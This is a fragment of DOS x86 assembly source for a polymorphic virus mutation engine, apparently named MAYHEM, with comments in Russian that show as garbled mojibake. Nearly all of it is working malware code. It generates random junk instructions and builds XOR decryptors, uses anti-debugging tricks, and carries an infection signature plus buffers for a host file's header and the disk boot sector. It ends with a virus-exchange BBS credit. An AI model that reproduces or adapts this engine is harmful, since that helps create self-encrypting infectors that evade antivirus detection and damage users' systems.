PUSH CX DX MOV DL,08 CALL RND XOR DH,DH INC DL MOV CX,DX mm1: PUSH CX CALL ARTRASH ; 렎췅 �昔璵ㅳ�� ％���졿Ŀ с貰�� CALL TRASH ; 꾝膝좑 �昔璵ㅳ�� ％���졿Ŀ с貰�� POP CX LOOP MM1 POP DX CX RETN TRASHCHAIN ENDP ;--- 뤲�璵ㅳ�� ％���졿Ŀ 졷ⓧД殊曄稅�． с貰�� � 줎⒱��臾� 誓（飡�젹� ; 뒶К젺ㅻ: MOV ADD ADC SUB SBB XOR TEST ; 궓� : CONST+ ; (REG*8+RND(0..7))*(RND(0..3)*40h) + ; [RNDbyte/RNDword/nothing] ; 뇿˘歲М飡� �� 2． 줎⒱�: 06+RND(0..7)*8 : +WORD ; 00..3F ㅰ膝�� : �①ⅲ� ; 40..7F : +BYTE ; 80..BF : +WORD ; C0..FF : �①ⅲ� ; 뫌´栒� ��細�循β� ぎК젺ㅻ �젹º � HIEW etc. ARTRASH PROC PUSH AX CX DX SI MOV CL,DS:[R_USED-MAYHEM] ; 끷殊 ㏇� �� AX,CX,DX,BX 쭬�汀�,-EXIT. AND CL,0FH CMP CL,0FH JE NO_ADD MOV SI,CMDS-MAYHEM ; 룯舒瑜 줎⒱� ぎК젺� MOV DL,CMDSEND-CMDS-1 ; 뫉晨젵췅� ぎК젺쩆 � �誓ㄵ쳽� CALL RND XOR DH,DH ADD SI,DX CLD ; 쭬��歲� ⅴ � 璵��囹� LODSB STOSB CALL GETFREEREG ; ��ャ�젰� 聲�‘ㄽ硫 ��ャ誓（飡� MOV AL,8 MUL DL ; REG*8 MOV DL,7 ; + RND(0..7) CALL RND ADD AL,DL PUSH AX ; + RND(0..3)*40H MOV DL,3 CALL RND MOV AL,40H MUL DL POP DX ADD AL,DL STOSB ; ™�昔� 줎⒱ Done. ; 띲┃� エ RND � ぎ�璵 ぎК젺ㅻ ? CMP AL,06 JE ADD_W CMP AL,0EH JE ADD_W CMP AL,16H JE ADD_W CMP AL,1EH JE ADD_W CMP AL,26H JE ADD_W CMP AL,2EH JE ADD_W CMP AL,36H JE ADD_W CMP AL,3EH JE ADD_W CMP AL,40H JB NO_ADD CMP AL,80H JB ADD_B CMP AL,0C0H JAE NO_ADD ADD_W: ; ㄾ줎˘筍 笹晨젵��� 笹�¡ MOV DL,0FFH CALL RND MOV AL,DL STOSB ADD_B: ; ㄾ줎˘筍 笹晨젵�硫 줎⒱ MOV DL,0FFH CALL RND MOV AL,DL STOSB NO_ADD: ; �①ⅲ� �� ㄾ줎˙汀� POP SI DX CX AX RETN ;-------------------------------------- CMDS DB 8AH,32H,02H,1AH,12H,2AH,84H ; ぎК젺ㅻ ; MOV XOR ADD SBB ADC SUB TEST CMDSEND: ARTRASH ENDP ;----------------------------------------------------------------------- GETFREEREG PROC ; 궙㎖�좈젰� ��Д� 聲�‘ㄽ�． 줎⒱��． ; 誓（飡�� : AL=겏� , DL=뜮Д� MOV DL,7 CALL RND MOV AL,1 ; � ˘ㄵ 〃�� MOV CL,DL SHL AL,CL ; BhChBlCl ; 줎⒱ | | | | MOV DH,DS:[R_USED-MAYHEM] ; ㄻ� 줎⒱�音 誓（飡昔�: 76543210 ; | | | | ; DhAhDlAl MOV CH,DH ; ぎ�ⓣ濕� 〃瞬 0..3 � 4..7 AND CH,0FH MOV CL,4 SHL DH,CL ADD CH,DH CONTTST: TEST AL,CH ; ��ㅵ�ㄸ� ? JZ GFR_DONE INC DL ; �β - 誠˘짛�� � ③�� 쩆レ蜈 ROL AL,1 CMP DL,8 JB CONTTST XOR DL,DL JMP CONTTST GFR_DONE: RETN GETFREEREG ENDP ;----------------------------------------------------------------------- ;------------------- 뤲�璵ㅳ贍 췅飡昔ø� ぎК젺� ----------------------- ; SI � 췅�젷� 첓┐�� 丞젳猶젰� 췅 췅�젷� ; 쭬�ⓤ� � 줎㎘ ㄻ� 쩆���� ぎК젺ㅻ MOV_NUMBER PROC ; 뵰席ⓣ濕� ぎК젺ㅳ MOV Reg,Immed ; Reg 貰＋졹�� ｀承��, Immed �� ��ワ Operand call GETREG ; ��ャ葉筍 誓（飡� �� ��Д說 ｀承�� add al,0B8h ; "MOV" stosb mov ax,[si][OPERAND] stosw retn MOV_NUMBER ENDP MOV_SEG_R1 PROC ; ぎК젺쩆 MOV SegReg,Reg ; ℓα� SegReg ��飡�輾�� = ES CALL GETREG CBW XCHG AH,AL ADD AX,0C08EH STOSW RETN MOV_SEG_R1 ENDP MOV_KEY PROC ; "MOV es:[0200h..02FFh],Reg" MOV AX,8926H STOSW CALL GETREG MOV CL,3 SHL AL,CL ADD AL,6 STOSB ; REG*8+6 MOV DL,0FFH ; �ㅰα ´も��� CALL RND ADD DX,0200H MOV DS:[TMPVEC-MAYHEM],DX ; 뤲Ħβ碎 �旬蝨� ι� � �揖ⓥ졻� MOV ES:[DI],DX INC DI INC DI RETN MOV_KEY ENDP SUB_KEY PROC ; SUB ES:[200..2FF],reg ; �揖ⓥ젰� 獸 ┘ 葉笹� �� 獸． ┘ ´も��� MOV AX,2926h STOSW CALL GETREG MOV CL,3 SHL AL,CL ADD AL,6 STOSB MOV AX,DS:[TMPVEC-MAYHEM] STOSW mov al,@PUSHF ; 貰魚젺º 氏젫�, 譽�〓 с貰� ⓨ �� ����設Œ stosb retn sub_key endp jmp_ok proc ; JZ XOR_COMMAND MOV AL,@POPF STOSB ; 룯誓若� 췅 ぎК젺ㅳ �졹鼇菴�˚� ; 뚮 ι� �� ㎛젰�, ゃ쩆 敏쩔 旼커 MOV DS:[FOR1-MAYHEM],DI ; 뇿��Лº 젮誓� ����젺쩆 홊Z� �??� INC BYTE PTR DS:[FOR1-MAYHEM] ; 읒줄 읕켸 MOV AX,0274h ; ぎК젺쩆 JZ $+...(룼첓 2) STOSW retn jmp_ok endp int20 proc mov ax,20cdh ; int 20h stosw retn int20 endp ; 뵰席ⓣ�쥯收レ ぎК젺ㅻ �졹鼇菴��猶젺⑨ � ; 췅飡昔ø� ��誓若ㄾ� 췅 �ⅴ DEXOR PROC ; xor [],* ; info: XOR [si],REG = 31 , 04+08*REG ; [di],REG = 31 , 05+08*REG ; [bx],REG = 31 , 07+08*REG ; 뮙��閃 �㎖α收� ����젺� ��誓若쩆 췅 XOR MOV AX,DI ; 젮誓� ぎК젺ㅻ XOR SUB AX,DS:[FOR1-MAYHEM] ; 맆遜獸輾�� JZ...XOR. DEC AX MOV BX,DS:[FOR1-MAYHEM] ; 듽쩆 쭬��歲筍 ����젺� MOV ES:[BX],AL ; OK mov ds:[offset LBL1-MAYHEM],di ; ㄻ� 췅飡昔ø� JMP 與か� MOV AL,@PFX_CS ; �誓十め CS: STOSB ; 뒶К젺쩆 ���黍說β ㄲ僧� 誓（飡�젹�: ; ��ゥ REG_GROUP - 獸レぎ ㄻ� �ㄽ�． ; 뜮Д�� ｀承� ℓα� ��Д耀�� � OPERAND. mov bx,[si][OPERAND] ; 뜝若ㄸ� ��Д� Þㄵめ��． 誓（飡�� ㄻ� XOR push bx ; 렚 - � 飡졷蜈� 줎⒱� 笹�쥯 Operand xchg bl,bh xor bh,bh mov al,[bx][R_GRP-MAYHEM] mov ah,4 ; 4,5,Œ� 7 � 쭬˘歲М飡� �� SI,DI,BX cmp al,R_SI je lb1 inc ah cmp al,R_DI je lb1 add ah,02 lb1: pop bx ; 誓（飡� � か蹟�� ㄻ� XOR� xor bh,bh mov al,[bx][R_GRP-MAYHEM] MOV CL,3 ; x8 + (4,5 Œ� 7) SHL AL,CL add ah,al mov al,31h ; 2-줎⒱�쥯� ぎК젺쩆 XOR [IndexReg],Reg stosw retn dexor endp inc_cnt proc ; 댂む�Д�� 笹�˛�． 誓（飡�� call GETREG add al,40h stosb retn inc_cnt endp dec_cnt proc ; 꽖む�Д�� 笹�˛�． 誓（飡�� call GETREG add al,48h stosb retn dec_cnt endp dec_cnt_pushf proc ; 꽖む�Д�� 笹�˛�． 誓（飡�� � PUSHF call GETREG add al,48h stosb mov al,@PUSHF stosb retn dec_cnt_pushf endp JMP_CONT PROC ; 뵰席ⓣ�쥯��� 信ギ˛�． ��誓若쩆 췅 �昔ㄾウ�- ; ��� XOR'� Œ� �音�쩆. MOV AL,@POPF STOSB MOV AX,0374H ; 귣若� �� 與か� STOSW MOV AL,0E9h ; 룯誓若� ��汀� 췅 XOR STOSB MOV AX,DS:[LBL1-MAYHEM] ; 췅飡昔ø� ��誓若쩆 췅 XOR SUB AX,DI SUB AX,2 STOSW RETN jmp_cont endp END_VIR PROC ; ��誓若� 췅 收ギ ˘說�� call MOV_NUMBER ; ℓα�: MOV REG,offset StartDecrypted call PUSHER ; ℓα�: PUSH REG mov al,0c3h ; 댂飡說ゆ⑨ RETN stosb retn end_vir endp ADD_DISP PROC ; ADD Reg(XORKEY), 뫊ι����_XOR� CALL GETREG CBW XCHG AH,AL ADD AX,0C081H STOSW MOV AX,[SI+OPERAND] ; ����젺� - 細ι���� か蹟� ㄻ� XOR STOSW RETN ADD_DISP ENDP QUEUE PROC ; 循Ø � ぎ�´ı昔� MOV AX,0C72EH ; MOV CS:[뫉ⅳ_뒶К젺쩆],JMP_�_쵟收黍 STOSW MOV AL,06H STOSB MOV AX,DS:[VARSRC-MAYHEM] ADD AX,INIT-START+4 ADD AX,DI SUB AX,DS:[DSTADDR-MAYHEM] STOSW MOV AX,084EBH ; JMP SHORT $-�_�젶��_獸_쵟收黍 STOSW MOV AX,9090H ; ��� ▲ㅳ� 쭬Д���� 췅 JMP $-�_..._쵟收黍 STOSW RETN QUEUE ENDP ;------------------------------ �↓�� �昔璵ㅳ贍 췅飡昔ø� ぎК젺� -------- getreg proc ; 췅若ㄸ� � ¡㎖�좈젰� ��Д� 誓（飡�� ; 쩆���� ｀承�� ㄻ� 쩆���． ��ワ 줎㏓ xor bh,bh mov bl,[si][R_GROUP] mov al,[bx][R_GRP-MAYHEM] ; 誓㎯レ�졻 retn getreg endp pusher proc ; ㄾ줎˙畑� Þ飡說ゆ⑧ PUSH call GETREG add al,50h stosb retn pusher endp ; ------------------- MUTABLE : 걽쭬 쩆��音 MAYHEM ----------------------- ; ------------ 렊�젳ζ �졹鼇菴��蟯첓 --------------- ; N 꺺젺ⓩ� 뒶К젺쩆 ; - ---- ----------------------------- ; 0 0..7 MOV CS:[NEXTCOMMAND],MAD_CODE ; 1 0..7 MOV SI,OFFSET CRYPTED ; 2 0..7 mov cx,(offset ENDCRYPTED-CRYPTED)/2 ; 3 0..5 mov dx,XORKEY ; 4 0..4 mov ax,0000 ; 5 5 mov es,ax ; 6 6 mov es:[0200h],dx ; 7 7 sub es:[0200h],dx ; pushf ; 8 8 popf ; jz Okay ; 9 9 lazha: int 20h ; okay: ; A A xor cs:[si],dx ; B B..F inc si ; C B..F inc si ; D B..D dec cx ; E E..F dec cx ; pushf ; F B..F add dx,XORdis ; 10 10 popf ; jnc okay ; 11 11 retn MUTAB: ; 씖�Д�� "믞渽 � ぎ�´ı昔�" DW QUEUE-MAYHEM ; �ㅰα 췅飡昔⑶Ø� DB 00,07,00 ; � ��㎤與� 0 ㄾ ��㎤與� 7 ; 誓젷彛�� ��ギ┘��� ▲ㄵ� ��誓ㄵゥ�� DB 00 ; 맓（飡昔쥯� ｀承캙 0 DSTADDR DW ? ; ENTRY DI 렞��젺�. 룯誓Д�췅� ; Þⓥ-碎 ㄾ ℡�쩆 � MAYHEM. dw MOV_NUMBER-MAYHEM ; MOV SI,offset CRYPTED db 00,07,00 db 00 VARsrc dw ? ; 細ι���� 鼇菴�쥯���． � ��¡� ぎ�Ŀ dw MOV_NUMBER-MAYHEM ; MOV CX,(ENDCRYPTED-CRYPTED)/2 db 00,07,00 db 01 dw INIT-START ; �젳Д� ˘說�� dw MOV_NUMBER-MAYHEM ; mov dx,XORKEY db 00,05,00 db 02 VARxor dw ? dw MOV_NUMBER-MAYHEM ; mov ax,0000 db 00,04,00 db 03 dw 0000 dw MOV_SEG_R1-MAYHEM ; mov es,ax db 05,00,00 db 03 dw ? dw MOV_KEY-MAYHEM ; mov es:[0200..0300],dx db 06,00,00 db 02 dw ? dw SUB_KEY-MAYHEM ; sub es:[0200..0300],dx db 07,00,00 db 02 dw ? dw JMP_OK-MAYHEM ; jz $+? db 08,00,00 db 0FFh dw 0004 dw INT20-MAYHEM ; int 20h db 09,0,0 db 00 dw 0000 dw DEXOR-MAYHEM ; xor [*],* db 0AH,00,00 db 0FFh ; ｀承캙 0FFh (信ギ˛�) - dw 0002 ; � ��誓젺ㄵ 2 誓（飡��:Low=SRC,Hi=DST dw INC_CNT-MAYHEM ; inc address db 0BH,04,00 db 00 dw ? dw DEC_CNT-MAYHEM ; dec size db 0Bh,02,00 db 01 dw ? dw INC_CNT-MAYHEM ; inc address ( ㄲ� ぎК젺ㅻ INC: +2) db 0Bh,04,00 db 00 dw ? dw DEC_CNT_PUSHF-MAYHEM ; dec size \ PUSHF db 0Eh,00,00 db 01 dw ? dw ADD_DISP-MAYHEM ; ADD XorKey,XorDispl db 0Bh,04,00 db 02 VARdis dw ? ; 細ι���� ㄻ� か蹟� XOR dw JMP_CONT-MAYHEM ; �昔ㄾウ���� 與か� db 10h,00,00 db ? dw ? dw END_VIR-MAYHEM ; ��誓若� 췅 �졹鼇菴�쥯���� 收ギ db 11h,00,00 db 00 VARretf dw ? ; 젮誓� 췅�젷� 收쳽 ㄻ� ��誓若쩆 ENDMUTAB DW 0000 ; ぎ�ζ 줎㏓ 쩆��音 MAYHEM R_USED db 00010000b ; 뵭젫 ⓤ��レ㎜쥯��音 誓（飡昔� R_MASK db 11001000b ; 꺺.0 (Þㄵめ�瑜 誓（飡贍) db 11101111b ; 꺺.1 (㏇� 誓（飡贍, む�Д SP) db 11101111b ; 꺺.2 db 11101111b ; 꺺.3 db 0 ; ぎ�ζ �젩エ劣 쵟貰� R_GRP db 8 dup(0) ; 誓㎯レ�졻 쭬む��ゥ�⑨ 誓（飡昔� 쭬 ; 첓┐�� ｀承��� lbl1 dw ? ; 젮誓� 췅�젷� ぎК젺ㅻ XOR for1 dw ? ; 젮誓� �信栒迹ⅲ� ����젺쩆 JMP TMPVEC DW ? ; �②��/葉�젰� � ´も�� �� IntTable MAYHEM_OFF: ; 뒑뛿� 몜�뇦뿂�... RETF ;---------------------------------------------------------------------------- DB (OFFSET INIT-START) MOD 2+2 DUP(90H) ; ADJUST TO EVEN ;------ 눃α� 췅若ㄸ恂� �졹鼇菴��蟯� (▲ㄵ� 宋�席ⓣ�쥯� MAYHEM'��) ---------- INIT: JMP START ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� INFSIGN db 'DOA' ; ��뜊썒 굧� 뭶�� 굠릵�� ENDALL: OUTSIDEDATA: ORIGINAL DB 3 DUP(?) ; 췅�젷� �□젩졻猶젰М． �젵쳽 DISKSECTOR: ; MBR EXEHDRCONT DB 15H DUP(?) ; OFFS400 DW ? ; 'NE' �黍 �昔´夕� WinEXE FLEN DW ?,? ; 꽞Þ�, �젳Д� �젵쳽 FSIZE DW ?,? CURRDISK DB ? ; 뜮Д� ㄸ稅� BODYPREPARE DW (INIT-Start)/2 dup(?) ; ㄻ� 鼇菴�˚� 收쳽 THEENDATALL: END START0 ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� ; 컴컴컴컴컴컴컴컴 Remember Where You Saw This Phile First 컴컴컴컴컴컴컴컴 ; 컴컴컴�[=] ARRESTED DEVELOPMENT +31.77.3547477 The Netherlands [=]컴컴컴� ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴�